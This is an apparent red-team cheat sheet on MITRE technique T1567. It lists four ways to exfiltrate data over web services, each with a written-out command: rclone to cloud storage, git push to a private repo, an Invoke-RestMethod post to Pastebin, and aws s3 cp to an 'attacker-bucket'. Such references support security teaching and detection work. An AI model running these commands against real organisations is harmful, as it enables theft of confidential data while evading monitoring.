Exfiltration Over Web Service

Exfiltration Over Web Service (T1567)

"Why is the CEO uploading 5GB to Google Drive?" "Probably a backup."

1. Cloud Storage (Google Drive / OneDrive / Dropbox)

If the organization uses G-Suite, uploading to your personal Google Drive looks like normal traffic.

  • Tool: rclone.
    rclone copy C:\Sensitive remote:backup
    

2. Code Repositories (GitHub)

Pushing data as code.

  • Technique: Create a private repo. git add confidential.pdf; git push.

3. Paste Sites

For small data (dumps).

  • Text: Invoke-RestMethod -Uri https://pastebin.com/api... -Method Post -Body $data

4. S3 Buckets

  • Command: aws s3 cp data.zip s3://attacker-bucket/ (Requires AWS CLI or careful HTTP crafting).